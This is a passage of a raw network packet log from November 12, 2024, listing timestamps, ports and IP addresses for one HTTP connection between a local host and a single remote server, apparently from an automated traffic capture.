Nov 12, 2024 21:21:36.653115034 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.653120041 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.653132915 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.653145075 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.653151989 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.653158903 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.653172016 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.653181076 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.653183937 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.653192997 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.653192997 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.653198004 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.653225899 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.653239012 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.692236900 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.697230101 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974065065 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974101067 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974113941 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974133015 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974143028 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974154949 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974168062 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974244118 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974277973 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974289894 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974303007 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974314928 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974345922 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.974376917 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974390030 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974399090 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.974402905 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974416018 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974419117 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.974428892 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974438906 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974451065 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974462986 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974473000 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974483967 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974486113 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.974493027 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.974509001 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.974509954 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974529982 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974540949 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974543095 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.974553108 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974554062 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.974565029 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.974574089 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974580050 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.974586010 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974596977 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.974597931 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974611998 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974617958 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.974644899 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.974684954 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974695921 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974708080 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974719048 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974725962 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.974730968 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974747896 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974754095 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.974780083 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.974809885 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974822044 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974833012 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974843025 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974848986 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.974862099 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974874020 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974880934 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.974884987 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974889994 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.974894047 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974900007 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974900961 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.974905968 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974910975 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974915981 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974926949 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974937916 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974958897 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.974983931 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.974987984 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.975003004 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975014925 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975023985 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975028992 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.975035906 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975048065 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.975048065 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975059986 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975079060 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975079060 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.975102901 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975102901 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.975115061 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975131035 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.975132942 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975146055 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975153923 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.975157022 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975169897 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975178003 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.975182056 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975193024 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.975195885 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975224018 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.975250959 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.975261927 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975272894 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975284100 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975298882 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.975327015 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.975327015 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.975399971 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975410938 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975421906 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975433111 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975444078 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975447893 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.975455999 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975467920 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.975467920 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975481033 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975486994 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.975513935 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.975538015 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.975869894 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975917101 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975928068 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.975929976 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.975955009 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.975970030 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976074934 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976087093 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976099014 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976109982 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976116896 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976125002 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976130962 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976136923 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976150036 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976161957 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976165056 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976174116 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976176977 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976203918 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976212978 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976218939 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976224899 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976243019 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976246119 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976254940 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976267099 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976268053 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976279974 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976285934 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976294041 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976305962 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976314068 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976316929 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976326942 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976329088 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976336956 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976351023 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976383924 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976387978 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976399899 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976411104 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976422071 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976428986 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976442099 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976447105 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976454020 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976464987 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976475954 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976475954 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976489067 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976495981 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976501942 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976514101 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976516008 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976526022 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976538897 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976538897 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976563931 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976577997 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976628065 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976639032 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976670027 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976696014 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976775885 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976788044 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976798058 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976839066 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976840019 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976851940 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976862907 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976864100 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976875067 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976895094 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976912022 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.976953030 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976963997 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976974010 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976985931 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976999044 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.976999998 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977010965 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977019072 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977021933 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977029085 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977034092 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977041006 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977044106 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977077961 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977101088 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977113008 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977123022 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977134943 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977144957 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977148056 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977159977 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977166891 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977174997 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977186918 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977193117 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977200031 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977221012 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977231979 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977242947 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977253914 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977262974 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977272987 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977277994 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977288961 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977292061 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977304935 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977317095 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977323055 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977330923 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977343082 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977350950 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977355003 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977366924 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977370024 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977389097 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977410078 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977514982 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977559090 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977575064 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977586985 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977613926 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977624893 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977657080 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977669001 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977679968 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977699995 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977711916 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977730989 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977742910 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977752924 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977766991 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977781057 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977786064 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977788925 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977806091 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977813005 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977818966 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977828026 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977832079 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977845907 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977863073 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.977982998 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.977993965 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978004932 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978017092 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978024960 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.978039980 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.978045940 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978058100 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978065014 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.978069067 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978081942 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978082895 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.978095055 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978102922 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.978106976 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978131056 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.978140116 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978144884 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.978153944 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978164911 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978169918 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.978177071 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978187084 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.978202105 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.978235006 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978246927 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.978275061 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.978367090 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978384018 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978395939 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978401899 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.978409052 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978419065 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.978421926 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978430033 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978435040 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978441000 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.978446960 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978454113 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.978457928 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978470087 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978482962 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.978493929 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978499889 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.978509903 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978521109 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978532076 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978530884 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.978550911 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.978576899 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.978754044 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978765965 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978776932 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978795052 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.978806973 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.978836060 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978847027 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978858948 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978869915 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:36.978874922 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:36.978899956 CET	49759	80	192.168.2.4	185.215.113.206
